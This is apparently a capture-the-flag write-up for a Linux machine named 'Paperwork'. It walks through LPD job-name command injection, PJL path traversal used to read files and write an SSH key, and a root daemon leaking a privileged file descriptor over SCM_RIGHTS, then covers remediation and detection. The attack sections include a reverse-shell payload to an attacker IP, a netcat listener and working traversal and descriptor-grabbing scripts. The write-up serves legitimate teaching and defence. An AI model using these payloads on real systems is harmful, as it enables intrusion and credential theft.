Paperwork
lp; an
internal JetDirect/PJL service running as archivist allows arbitrary file
read and write via traversal, used to inject an SSH key; and a root-owned management
daemon hands an already-open privileged file descriptor to an unprivileged client over
SCM_RIGHTS, disclosing an administrator password that the root account also accepts.
- Host OS
- Linux
- Foothold
- LPD job-name command injection (TCP 1515) →
lp - User
- PJL traversal write →
authorized_keys→ SSH asarchivist - Root
SCM_RIGHTSdescriptor leak → reused admin password →su
lp → internal PJL service on
127.0.0.1:9100 → path traversal read, then write → SSH authorized_keys for
archivist → connect to /run/paperwork/mgmt.sock → receive a root-opened file
descriptor via SCM_RIGHTS → recover the reused administrator password → su →
root.
01Enumeration
nmap -Pn -p- --min-rate 5000 -oA scans/all-ports <target>
nmap -Pn -sC -sV -p22,80,1515 -oA scans/services <target>
SSH, HTTP, and a custom LPD-compatible service on TCP 1515. Web and source review led straight to the vulnerable Python LPD implementation — and on this box, reading source was worth far more than any scanner.
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log",
shell=True
)
The control file's job name is attacker-controlled, interpolated into a shell string, and run with
shell=True. A single quote closes the intended string and everything after it is shell.
02Foothold — LPD command injection
The job name is shaped so the surrounding echo stays syntactically valid:
Jx'; bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; echo 'x
Which the vulnerable line assembles into:
echo 'Archive: x'; \
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; \
echo 'x' >> /tmp/archive.log
nc -lvnp 4444
# uid=7(lp) gid=7(lp) groups=7(lp)
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
03Internal enumeration as lp
cat /etc/passwd | grep -E '/bin/(bash|sh)$'
find /opt/LPDServer -maxdepth 3 -type f -ls 2>/dev/null
ps auxww
ss -lntp
Process enumeration exposes a second printing service:
archivist ... /usr/bin/python3 /home/archivist/printer/jetdirect.py \
9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
# and it is localhost-only:
127.0.0.1:9100
Two details make this the whole next stage:
- It runs as
archivist, an interactive account — so any file operation inherits that user's access. - Its configured base directory is
/home/archivist/printer/, which sits one level below~/.ssh. Traversal out of the base lands somewhere very useful.
04PJL arbitrary file read
The service speaks Printer Job Language filesystem commands. Reading its own command log first confirms the framing is right before trying anything clever:
timeout 5 python3 -c 'import socket
s=socket.create_connection(("127.0.0.1",9100),2); s.settimeout(3)
s.sendall(b"\x1b%-12345X\r\n@PJL FSUPLOAD NAME=\"0:/logs/commands.log\" OFFSET=0 SIZE=4096\r\n\x1b%-12345X\r\n")
print(s.recv(8192).decode(errors="replace"))'
Then traversal, because the base directory is joined without canonicalisation:
/home/archivist/printer/ + ../../../etc/passwd → /etc/passwd
@PJL FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=4096
# archivist:x:1000:1000:archivist:/home/archivist:/bin/bash
ss -lnt | grep 9100 → LISTEN 0 100 127.0.0.1:9100.
05PJL write — SSH key injection
ssh-keygen -t ed25519 -f ./archivist_key -N ''
The target is one level above the printer base: 0:/../.ssh/authorized_keys. The
implementation detail that cost time here: this custom server expects the FSDOWNLOAD header
and the file bytes in separate socket reads. Sending them in one sendall
produces a zero-byte file with no error.
import socket, time
public_key = b"ssh-ed25519 <public-key-data> attacker@kali\n"
s = socket.create_connection(("127.0.0.1", 9100), 2)
header = (
b"\x1b%-12345X\r\n"
b"@PJL FSDOWNLOAD NAME=\"0:/../.ssh/authorized_keys\" SIZE="
+ str(len(public_key)).encode()
+ b"\r\n"
)
s.sendall(header)
time.sleep(0.5)
s.sendall(public_key) # separate write — this is the part that matters
time.sleep(0.5)
s.close()
Verify with FSUPLOAD, then log in:
ssh -i ./archivist_key archivist@<target>
06Privesc enumeration — reading the daemon
There is no sudo on this system, so it is back to source review:
ls -l /usr/bin/paperwork-daemon
sed -n '1,260p' /usr/bin/paperwork-daemon
ss -xlpn
find /run /var/run /tmp -type s -ls 2>/dev/null
/usr/bin/paperwork-daemon is a world-readable, root-owned Python script. At startup it opens a
protected configuration file and keeps the descriptor:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
It exposes a Unix socket to group 1000 — which is archivist's group:
socket_path = "/run/paperwork/mgmt.sock"
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)
And if the printer log contains PJL filesystem verbs, it enters a "lockdown" path:
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
The lockdown routine then sends the client an "evidence bundle" of file descriptors:
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
This is the critical design error. SCM_RIGHTS passes access to the open file
description itself, not a pathname. The receiving process never needs filesystem permission to
open /etc/paperwork/admin_pins.conf — the descriptor is already open, and it was opened by
root. Pathname permissions are simply not in the picture.
07Receiving the privileged descriptor
The earlier PJL activity already wrote the trigger strings into commands.log, so connecting
to the management socket goes straight down the vulnerable branch:
import socket, array, os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
msg, ancdata, flags, address = s.recvmsg(
4096, socket.CMSG_SPACE(2 * array.array("i").itemsize))
print(msg.decode(errors="replace"))
for level, kind, data in ancdata:
if level == socket.SOL_SOCKET and kind == socket.SCM_RIGHTS:
descriptors = array.array("i")
descriptors.frombytes(data[:len(data) - (len(data) % descriptors.itemsize)])
for descriptor in descriptors:
print(os.pread(descriptor, 4096, 0).decode(errors="replace"))
os.close(descriptor)
s.close()
ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.
...
ADMIN_PASSWORD=<redacted>
08Root
The disclosed administrator password is also the local root password:
su -
# uid=0(root) gid=0(root) groups=0(root)
09If this were your environment
OS command injection in the LPD service
Attacker-controlled job metadata was interpolated into a shell command executed with
shell=True, giving remote command execution as lp.
- Do not use a shell at all. Write the log line with Python file APIs — there is no reason to spawn
echo. - If a subprocess is unavoidable, pass an argument list with
shell=Falseand validate every field. - Treat all protocol metadata as hostile — job names, usernames, filenames.
CWE: CWE-78 OS command injection
PJL directory traversal, read and write
PJL filesystem paths were joined to a configured base directory without enforcing that the resolved path
stayed beneath it, giving arbitrary read and write as archivist — and therefore SSH key
injection.
- Canonicalise first, then check. Resolve with
realpath()/Path.resolve()and reject anything not contained within the approved root — filtering../from the input string is not equivalent. - Disable PJL filesystem commands entirely unless there is a specific requirement;
FSDOWNLOADin particular is a remote file write.
CWE: CWE-22 path traversal
Printer service running as an interactive user
The JetDirect service ran as archivist and could therefore modify that user's own SSH
configuration — turning a printer-service compromise directly into an interactive user compromise.
- Run it under a dedicated non-login account with a restricted filesystem sandbox and no access to any human user's home directory.
- Confine with systemd —
ProtectHome=true,ProtectSystem=strict,NoNewPrivileges=true, and an explicitReadWritePaths=allow-list.
Privileged file descriptor disclosed over SCM_RIGHTS
The root daemon included an unrelated, root-opened descriptor for a protected configuration file in an ancillary message sent to an unprivileged client — disclosing a root-only secret despite the file's pathname permissions being entirely correct.
- Never pass unrelated privileged descriptors to clients. Build the ancillary descriptor list explicitly and minimally — one descriptor, for the one thing the client asked about.
- Authenticate and authorise Unix-socket clients before returning anything sensitive (
SO_PEERCRED), rather than relying on socket group ownership alone. - Do not hold long-lived descriptors to secrets. Open, read, close — so there is nothing to leak later.
- Remember the semantics: descriptor passing bypasses pathname permission checks by design. This is not a bug in the kernel; it is a bug in trusting the recipient.
CWE: CWE-402 transmission of private resources into a new sphere
Application administrator password reused by the root account
One recovered application secret was accepted by su, converting a configuration disclosure
straight into full system compromise.
- Unique, randomly generated secrets per service, held in a secret manager rather than a flat config file.
- Disable password-based root login and require audited elevation through a controlled mechanism.
- Credential separation would have stopped this chain even after the descriptor leak — worth stating plainly in the report.
10Detection — the blue-team side
- LPD control-file fields containing shell metacharacters or unusually long job names.
- Outbound connections initiated by the
lpaccount — there is no legitimate case for this. - PJL
FSUPLOAD/FSDOWNLOAD/FSQUERYrequests containing../. - Writes to
/home/*/.ssh/authorized_keysby a printer-related process. - Unexpected connections to
/run/paperwork/mgmt.sock, and anomalousSCM_RIGHTSuse by privileged processes. suto root shortly after access to application secret files.
11Takeaways
- Source review beat scanning. Every step here came from reading code that was sitting there world-readable.
- Internal-only services still need real trust boundaries. "Bound to localhost" described the network position, not the security model.
- Filesystem restrictions must be applied after canonical path resolution — a base-directory string prefix is not containment.
- Unix descriptor passing bypasses pathname permissions by design. That is the single most transferable thing on this box.
- Small implementation details decide whether an exploit works. Header and payload in separate socket writes was the difference between a key and a zero-byte file.
- Credential separation is the cheapest control here and would have broken the chain at the last step.
◆If this were my environment
A legacy print protocol exposed command and traversal primitives, then a privileged process retained a sensitive file descriptor. I would remove the obsolete service and redesign the privileged component around least authority.
- Disable LPD/PJL when unnecessary; otherwise bind it to a print VLAN, enforce authentication and restrict it with host firewall rules.
- Canonicalize printer job paths, reject traversal and never allow print data to select host filesystem destinations.
- Close sensitive file descriptors before privilege changes or child execution and use service sandboxing to deny access to SSH material.
- Enforce root ownership and strict permissions on authorized_keys, spool directories, unit files and helper binaries.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.